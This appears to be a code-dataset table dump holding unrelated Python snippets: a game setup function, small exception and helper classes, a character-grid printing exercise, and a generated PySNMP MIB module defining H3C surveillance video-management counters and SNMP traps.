content stringlengths 7 1.05M |
|---|
def SetUpGame():
global WreckContainer, ShipContainer, PlanetContainer, ArchiveContainer, playerShip, gameData, SystemContainer
GameData = gameData()
GameData.tutorial = False
PlanetContainer = [Planet(0, -1050, 1000)]
GameData.homePlanet = PlanetContainer[0]
GameData.tasks = []
PlanetContainer[0].baseAt = 0
ShipContainer = []
ShipContainer.append(enemyShip(200, 200, 0, 0, 2, (0, -1050, 1500)))
WreckContainer = []
SystemContainer = [(0, 0, "Home System")]
for newPlanetX in range(-1, 2):
for newPlanetY in range(-1, 2):
if newPlanetX == 0 and newPlanetY == 0:
continue
PlanetContainer.append(
Planet(
newPlanetX * 20000 + random.randint(-8000, 8000),
newPlanetY * 18000 + random.randint(-6000, 6000),
random.randint(250, 1500),
)
)
PlanetContainer[-1].enemyAt = random.choice(
(None, random.randint(0, 360)))
PlanetContainer[0].playerLanded = "base"
ArchiveContainer = []
playerShip.X = 0
playerShip.Y = 25
playerShip.angle = 0
playerShip.faceAngle = 180
playerShip.speed = 0
playerShip.hull = 592
playerShip.toX = 0
playerShip.toY = 0
playerView.X = 0
playerView.Y = 0
playerView.angle = 0
playerView.zoomfactor = 1
gameData.basesBuilt = 0
playerShip.oil = 1000
star.params = (
random.random(),
random.random(),
random.random(),
random.random(),
random.random(),
)
checkProgress("game started")
|
class SearchGoogleNewsError(Exception):
pass
class SearchGoogleNewsDataSourceNotFound(Exception):
pass
class SearchGoogleNewsParseError(Exception):
pass
|
class Pattern:
def __init__(self):
self.count = 0
self.pairs = []
def getPairs(self, my_list):
for i in range(len(my_list[1:9])): # i 0~8 / (0 0 3 0 0 12 0 0 0)
if my_list[i+1] > 0:
self.pairs.append(tuple([i, my_list[i]])) # (2,3) (5,12) / activation area라는 리스트는 0부터 시작이니까 그거에 맞게
return
|
#!/usr/bin/env python3
# Character Picture Grid
grid = [
[".", ".", ".", ".", ".", "."],
[".", "O", "O", ".", ".", "."],
["O", "O", "O", "O", ".", "."],
["O", "O", "O", "O", "O", "."],
[".", "O", "O", "O", "O", "O"],
["O", "O", "O", "O", "O", "."],
["O", "O", "O", "O", ".", "."],
[".", "O", "O", ".", ".", "."],
[".", ".", ".", ".", ".", "."],
]
rows = len(grid)
columns = len(grid[0])
for x in range(columns):
for y in range(rows):
print(grid[y][x], end="")
print()
|
#
# PySNMP MIB module HH3C-VM-MAN-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/HH3C-VM-MAN-MIB
# Produced by pysmi-0.3.4 at Wed May 1 13:30:16 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
ObjectIdentifier, OctetString, Integer = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "OctetString", "Integer")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
SingleValueConstraint, ValueRangeConstraint, ConstraintsIntersection, ConstraintsUnion, ValueSizeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ValueRangeConstraint", "ConstraintsIntersection", "ConstraintsUnion", "ValueSizeConstraint")
entPhysicalAssetID, = mibBuilder.importSymbols("ENTITY-MIB", "entPhysicalAssetID")
hh3cSurveillanceMIB, = mibBuilder.importSymbols("HH3C-OID-MIB", "hh3cSurveillanceMIB")
NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance")
MibScalar, MibTable, MibTableRow, MibTableColumn, Counter64, TimeTicks, ModuleIdentity, NotificationType, ObjectIdentity, IpAddress, MibIdentifier, Integer32, iso, Bits, Gauge32, Counter32, Unsigned32 = mibBuilder.importSymbols("SNMPv2-SMI", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Counter64", "TimeTicks", "ModuleIdentity", "NotificationType", "ObjectIdentity", "IpAddress", "MibIdentifier", "Integer32", "iso", "Bits", "Gauge32", "Counter32", "Unsigned32")
DateAndTime, TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "DateAndTime", "TextualConvention", "DisplayString")
hh3cVMMan = ModuleIdentity((1, 3, 6, 1, 4, 1, 25506, 9, 1))
if mibBuilder.loadTexts: hh3cVMMan.setLastUpdated('200704130000Z')
if mibBuilder.loadTexts: hh3cVMMan.setOrganization('Hangzhou H3C Tech. Co., Ltd.')
if mibBuilder.loadTexts: hh3cVMMan.setContactInfo('Platform Team Hangzhou H3C Tech. Co., Ltd. Hai-Dian District Beijing P.R. China http://www.h3c.com Zip:100085 ')
if mibBuilder.loadTexts: hh3cVMMan.setDescription('VM is one of surveillance features, implementing user authentication, configuration management, network management and control signalling forwarding. This MIB contains objects to manage the VM feature.')
hh3cVMManMIBObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 25506, 9, 1, 1))
hh3cVMCapabilitySet = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 1, 1), Bits().clone(namedValues=NamedValues(("cms", 0), ("css", 1), ("dm", 2)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: hh3cVMCapabilitySet.setStatus('current')
if mibBuilder.loadTexts: hh3cVMCapabilitySet.setDescription('Components included in the VM feature represented by bit fields. VM feature includes three componets: CMS(Central Management Server), CSS(Control Signalling Server) and DM(Data Managment). A bit set to 1 indicates the corresponding component of this bit is included otherwise indicates the corresponding component of this bit is not included. VM can include one or more components at one time. ')
hh3cVMStat = MibIdentifier((1, 3, 6, 1, 4, 1, 25506, 9, 1, 1, 2))
hh3cVMStatTotalConnEstablishRequests = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 1, 2, 1), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hh3cVMStatTotalConnEstablishRequests.setStatus('current')
if mibBuilder.loadTexts: hh3cVMStatTotalConnEstablishRequests.setDescription('The total number of establishment requests for video connection.')
hh3cVMStatSuccConnEstablishRequests = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 1, 2, 2), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hh3cVMStatSuccConnEstablishRequests.setStatus('current')
if mibBuilder.loadTexts: hh3cVMStatSuccConnEstablishRequests.setDescription('The total number of successful establishment requests for video connection.')
hh3cVMStatFailConnEstablishRequests = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 1, 2, 3), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hh3cVMStatFailConnEstablishRequests.setStatus('current')
if mibBuilder.loadTexts: hh3cVMStatFailConnEstablishRequests.setDescription('The total number of unsuccessful establishment requests for video connection.')
hh3cVMStatTotalConnReleaseRequests = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 1, 2, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hh3cVMStatTotalConnReleaseRequests.setStatus('current')
if mibBuilder.loadTexts: hh3cVMStatTotalConnReleaseRequests.setDescription('The total number of release requests for video connection.')
hh3cVMStatSuccConnReleaseRequests = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 1, 2, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hh3cVMStatSuccConnReleaseRequests.setStatus('current')
if mibBuilder.loadTexts: hh3cVMStatSuccConnReleaseRequests.setDescription('The total number of successful release requests for video connection.')
hh3cVMStatFailConnReleaseRequests = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 1, 2, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hh3cVMStatFailConnReleaseRequests.setStatus('current')
if mibBuilder.loadTexts: hh3cVMStatFailConnReleaseRequests.setDescription('The total number of unsuccessful release requests for video connection.')
hh3cVMStatExceptionTerminationConn = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 1, 2, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hh3cVMStatExceptionTerminationConn.setStatus('current')
if mibBuilder.loadTexts: hh3cVMStatExceptionTerminationConn.setDescription('The total number of exceptional termination for video connection.')
hh3cVMManMIBTrap = MibIdentifier((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2))
hh3cVMManTrapPrex = MibIdentifier((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0))
hh3cVMManDeviceOnlineTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 1)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"))
if mibBuilder.loadTexts: hh3cVMManDeviceOnlineTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManDeviceOnlineTrap.setDescription('Send a trap about the device having been registered to VM.')
hh3cVMManDeviceOfflineTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 2)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"))
if mibBuilder.loadTexts: hh3cVMManDeviceOfflineTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManDeviceOfflineTrap.setDescription('Send a trap about the device having been unregistered to VM.')
hh3cVMManForwardDeviceExternalSemaphoreTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 3)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManPUExternalInputAlarmChannelID"))
if mibBuilder.loadTexts: hh3cVMManForwardDeviceExternalSemaphoreTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManForwardDeviceExternalSemaphoreTrap.setDescription('Forward a trap about external semaphore alarm, which is created by the third party device.')
hh3cVMManForwardDeviceVideoLossTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 4)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManPUECVideoChannelName"))
if mibBuilder.loadTexts: hh3cVMManForwardDeviceVideoLossTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManForwardDeviceVideoLossTrap.setDescription('Forward a trap about video loss, which is created by the third party device.')
hh3cVMManForwardDeviceVideoRecoverTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 5)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManPUECVideoChannelName"))
if mibBuilder.loadTexts: hh3cVMManForwardDeviceVideoRecoverTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManForwardDeviceVideoRecoverTrap.setDescription('Forward a trap about video recovery after loss, which is created by the third party device.')
hh3cVMManForwardDeviceMotionDetectTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 6)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManPUECVideoChannelName"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegionCoordinateX1"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegionCoordinateY1"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegionCoordinateX2"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegionCoordinateY2"))
if mibBuilder.loadTexts: hh3cVMManForwardDeviceMotionDetectTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManForwardDeviceMotionDetectTrap.setDescription('Forward a trap about motion detection, which is created by the third party device.')
hh3cVMManForwardDeviceCoverTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 7)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManPUECVideoChannelName"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegionCoordinateX1"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegionCoordinateY1"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegionCoordinateX2"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegionCoordinateY2"))
if mibBuilder.loadTexts: hh3cVMManForwardDeviceCoverTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManForwardDeviceCoverTrap.setDescription('Forward a trap about video cover, which is created by the third party device.')
hh3cVMManForwardDeviceCpuUsageThresholdTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 8)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManCpuUsage"), ("HH3C-VM-MAN-MIB", "hh3cVMManCpuUsageThreshold"))
if mibBuilder.loadTexts: hh3cVMManForwardDeviceCpuUsageThresholdTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManForwardDeviceCpuUsageThresholdTrap.setDescription('Forward a trap about cpu usage exceeding its threshold, which is created by the third party device.')
hh3cVMManForwardDeviceMemUsageThresholdTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 9)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManMemUsage"), ("HH3C-VM-MAN-MIB", "hh3cVMManMemUsageThreshold"))
if mibBuilder.loadTexts: hh3cVMManForwardDeviceMemUsageThresholdTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManForwardDeviceMemUsageThresholdTrap.setDescription('Forward a trap about memory usage exceeding its threshold, which is created by the third party device.')
hh3cVMManForwardDeviceHardDiskUsageThresholdTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 10)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManHardDiskUsage"), ("HH3C-VM-MAN-MIB", "hh3cVMManHardDiskUsageThreshold"))
if mibBuilder.loadTexts: hh3cVMManForwardDeviceHardDiskUsageThresholdTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManForwardDeviceHardDiskUsageThresholdTrap.setDescription('Forward a trap about harddisk usage exceeding its threshold, which is created by the third party device.')
hh3cVMManForwardDeviceTemperatureThresholdTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 11)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManTemperature"), ("HH3C-VM-MAN-MIB", "hh3cVMManTemperatureThreshold"))
if mibBuilder.loadTexts: hh3cVMManForwardDeviceTemperatureThresholdTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManForwardDeviceTemperatureThresholdTrap.setDescription('Forward a trap about temperature exceeding its threshold, which is created by the third party device.')
hh3cVMManForwardDeviceStartKinescopeTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 12)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManPUECVideoChannelName"))
if mibBuilder.loadTexts: hh3cVMManForwardDeviceStartKinescopeTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManForwardDeviceStartKinescopeTrap.setDescription('Forward a trap about starting kinescope, which is created by the third party device.')
hh3cVMManForwardDeviceStopKinescopeTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 13)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManPUECVideoChannelName"))
if mibBuilder.loadTexts: hh3cVMManForwardDeviceStopKinescopeTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManForwardDeviceStopKinescopeTrap.setDescription('Forward a trap about stopping kinescope, which is created by the third party device.')
hh3cVMManClientReportTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 14)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManUserName"), ("HH3C-VM-MAN-MIB", "hh3cVMManReportContent"))
if mibBuilder.loadTexts: hh3cVMManClientReportTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientReportTrap.setDescription('Send a trap about the fault which is reported by clients.')
hh3cVMManClientRealtimeSurveillanceNoVideoTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 15)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManUserName"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManPUECVideoChannelName"))
if mibBuilder.loadTexts: hh3cVMManClientRealtimeSurveillanceNoVideoTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientRealtimeSurveillanceNoVideoTrap.setDescription("Send a trap about no realtime surveillance video stream which is reported by clients. hh3cVMManRegDevIP, entPhysicalAssetID, hh3cVMManRegDevName and hh3cVMManPUECVideoChannelName describe an EC's relative information. ")
hh3cVMManClientVODNoVideoTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 16)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManUserName"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManPUECVideoChannelName"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientVODStart"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientVODEnd"), ("HH3C-VM-MAN-MIB", "hh3cVMManIPSANDevIP"))
if mibBuilder.loadTexts: hh3cVMManClientVODNoVideoTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientVODNoVideoTrap.setDescription("Send a trap about no VOD video stream which is reported by clients. hh3cVMManRegDevIP, entPhysicalAssetID, hh3cVMManRegDevName and hh3cVMManPUECVideoChannelName describe an EC's relative information.")
hh3cVMManClientRealtimeSurveillanceVideoStreamDiscontinuityTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 17)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManUserName"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManPUECVideoChannelName"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientVideoStreamDiscontinuityInterval"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientVideoStreamDiscontinuityIntervalThreshold"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientStatPeriod"))
if mibBuilder.loadTexts: hh3cVMManClientRealtimeSurveillanceVideoStreamDiscontinuityTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientRealtimeSurveillanceVideoStreamDiscontinuityTrap.setDescription("Send a trap about the realtime surveillance video stream discontinuity which is reported by clients. entPhysicalAssetID, hh3cVMManRegDevIP, hh3cVMManRegDevName and hh3cVMManPUECVideoChannelName describe an EC's relative information.")
hh3cVMManClientVODVideoStreamDiscontinuityTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 18)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManUserName"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevName"), ("HH3C-VM-MAN-MIB", "hh3cVMManPUECVideoChannelName"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientVODStart"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientVODEnd"), ("HH3C-VM-MAN-MIB", "hh3cVMManIPSANDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientVideoStreamDiscontinuityInterval"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientVideoStreamDiscontinuityIntervalThreshold"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientStatPeriod"))
if mibBuilder.loadTexts: hh3cVMManClientVODVideoStreamDiscontinuityTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientVODVideoStreamDiscontinuityTrap.setDescription("Send a trap about the VOD video stream discontinuity which is reported by clients. hh3cVMManRegDevIP, entPhysicalAssetID, hh3cVMManRegDevName and hh3cVMManPUECVideoChannelName describe an EC's relative information.")
hh3cVMManClientCtlConnExceptionTerminationTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 19)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManUserName"))
if mibBuilder.loadTexts: hh3cVMManClientCtlConnExceptionTerminationTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientCtlConnExceptionTerminationTrap.setDescription('Send a trap about the exceptional termination for control connection. ')
hh3cVMManClientFrequencyLoginFailTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 20)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManUserName"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientLoginFailNum"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientLoginFailNumThreshold"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientStatPeriod"))
if mibBuilder.loadTexts: hh3cVMManClientFrequencyLoginFailTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientFrequencyLoginFailTrap.setDescription('Send a trap about the frequency of client login failure.')
hh3cVMManClientFrequencyVODFailTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 21)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManUserName"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientVODFailNum"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientVODFailNumThreshold"), ("HH3C-VM-MAN-MIB", "hh3cVMManClientStatPeriod"))
if mibBuilder.loadTexts: hh3cVMManClientFrequencyVODFailTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientFrequencyVODFailTrap.setDescription('Send a trap about the frequency of client VOD failure.')
hh3cVMManDMECDisobeyStorageScheduleTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 22)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManPUECVideoChannelName"))
if mibBuilder.loadTexts: hh3cVMManDMECDisobeyStorageScheduleTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManDMECDisobeyStorageScheduleTrap.setDescription('Send a trap about EC disobeying storage schedule created by DM.')
hh3cVMManDMECDisobeyStorageScheduleRecoverTrap = NotificationType((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 0, 23)).setObjects(("ENTITY-MIB", "entPhysicalAssetID"), ("HH3C-VM-MAN-MIB", "hh3cVMManRegDevIP"), ("HH3C-VM-MAN-MIB", "hh3cVMManPUECVideoChannelName"))
if mibBuilder.loadTexts: hh3cVMManDMECDisobeyStorageScheduleRecoverTrap.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManDMECDisobeyStorageScheduleRecoverTrap.setDescription('Send a trap about recovery after EC disobeying storage schedule created by DM.')
hh3cVMManTrapObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1))
hh3cVMManIPSANDevIP = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 1), IpAddress()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManIPSANDevIP.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManIPSANDevIP.setDescription('IP address of IPSAN Device which can store video data.')
hh3cVMManRegDevIP = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 2), IpAddress()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManRegDevIP.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManRegDevIP.setDescription('IP address of devices which can registered or unregistered to VM.')
hh3cVMManRegDevName = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 3), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 64))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManRegDevName.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManRegDevName.setDescription('Name of devices which can registered or unregistered to VM.')
hh3cVMManRegionCoordinateX1 = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 4), Unsigned32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManRegionCoordinateX1.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManRegionCoordinateX1.setDescription('The horizontal coordinate of top left point of the motion detection region.')
hh3cVMManRegionCoordinateY1 = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 5), Unsigned32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManRegionCoordinateY1.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManRegionCoordinateY1.setDescription('The vertical coordinate of top left point of the motion detection region.')
hh3cVMManRegionCoordinateX2 = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 6), Unsigned32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManRegionCoordinateX2.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManRegionCoordinateX2.setDescription('The horizontal coordinate of botton right point of the motion detection region.')
hh3cVMManRegionCoordinateY2 = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 7), Unsigned32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManRegionCoordinateY2.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManRegionCoordinateY2.setDescription('The horizontal coordinate of botton right point of the motion detection region.')
hh3cVMManCpuUsage = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 8), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 100))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManCpuUsage.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManCpuUsage.setDescription('The CPU usage for this entity. Generally, the CPU usage will caculate the overall CPU usage on the entity, and it is not sensible with the number of CPU on the entity. ')
hh3cVMManCpuUsageThreshold = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 9), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 100))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManCpuUsageThreshold.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManCpuUsageThreshold.setDescription('The threshold for the CPU usage. When the CPU usage exceeds the threshold, a notification will be sent.')
hh3cVMManMemUsage = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 10), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 100))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManMemUsage.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManMemUsage.setDescription('The memory usage for the entity. This object indicates what percent of memory are used. ')
